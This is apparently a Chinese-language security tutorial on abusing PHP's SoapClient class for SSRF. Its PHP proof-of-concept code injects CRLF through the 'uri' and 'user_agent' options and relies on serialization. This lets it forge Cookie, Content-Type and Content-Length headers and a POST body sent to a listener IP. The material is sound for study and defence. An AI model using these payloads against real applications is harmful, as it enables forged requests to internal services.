39/* 方法 */
40public __construct(?string $wsdl, array $options = [])
41public __call(string $name, array $args): mixed
42public __doRequest(
43    string $request,
44    string $location,
45    string $action,
46    int $version,
47    bool $oneWay = false
48): ?string
49public __getCookies(): array
50public __getFunctions(): ?array
51public __getLastRequest(): ?string
52public __getLastRequestHeaders(): ?string
53public __getLastResponse(): ?string
54public __getLastResponseHeaders(): ?string
55public __getTypes(): ?array
56public __setCookie(string $name, ?string $value = null): void
57public __setLocation(?string $location = null): ?string
58public __setSoapHeaders(SoapHeader|array|null $headers = null): bool
59public __soapCall(
60    string $name,
61    array $args,
62    ?array $options = null,
63    SoapHeader|array|null $inputHeaders = null,
64    array &$outputHeaders = null
65): mixed
66}

先从手册中看soap的构造方法,可以看到有两个参数,第一个参数$wsdl用来指明是否为wsdl模式,第二个参数$options是一个数组。 当在第一个参数中指明了wsdl模式后,第二个参数是可选的,可以没有;当第一个参数设置为非wsdl模式后,第二个参数中必须设置uri和location选项。location就是目标url,uri是soap服务的命令空间

再看__call()方法,当调用类中不存在的方法时就会触发,当触发这个方法后,它就会向location中的目标URL发送一个soap请求

php
1<?php
2$a = new SoapClient(null,array('uri'=>'aaa','location'=>'http://20.2.129.79:7777'));
3$a->a();

在vps上监听对应的端口

可以接收到一个post请求,并且SOAPAction的值明显是可控的,那么利用crlf我们就能控制数据包了

比如插入一个cookie

php
1<?php
2$a = new SoapClient(null,array('uri'=>'aaa^^Cookie: test=123^^','location'=>'http://20.2.129.79:7777'));
3$b = serialize($a);
4$b = str_replace('^^',"\r\n",$b);
5
6$c = unserialize($b);
7$c->a();
8?>

但是对于POST数据包,还存在一个问题,即Content-Type的值,默认是text/xml,我们修改的SOAPAction在Content-Type的下面,无法控制Content-Type,也就不能控制POST的数据

在header里User-Agent在Content-Type前面,手册中也提到了如何设置User-Agent,我们可以在User-Agent中注入crlf,从而控制Content-Type的值

php
 1<?php
 2$post_data = "data=abc";
 3$a = new SoapClient(null,array('user_agent'=>'Mozilla/5.0^^Content-Type: application/x-www-form-urlencoded^^Content-Length: '.strlen($post_data).'^^^^'.$post_data,'uri'=>'aaa','location'=>'http://20.2.129.79:7777'));
 4$b = serialize($a);
 5$b = str_replace('^^',"\r\n",$b);
 6
 7$c = unserialize($b);
 8$c->a();
 9//echo urlencode($b);
10?>

还需要在结尾设置一个Content-Length,一方面对于post包是必须的,另一方面还能让多余的数据丢弃,不影响我们设定的值

这样就能实现soapclient+crlf组合拳攻击ssrf了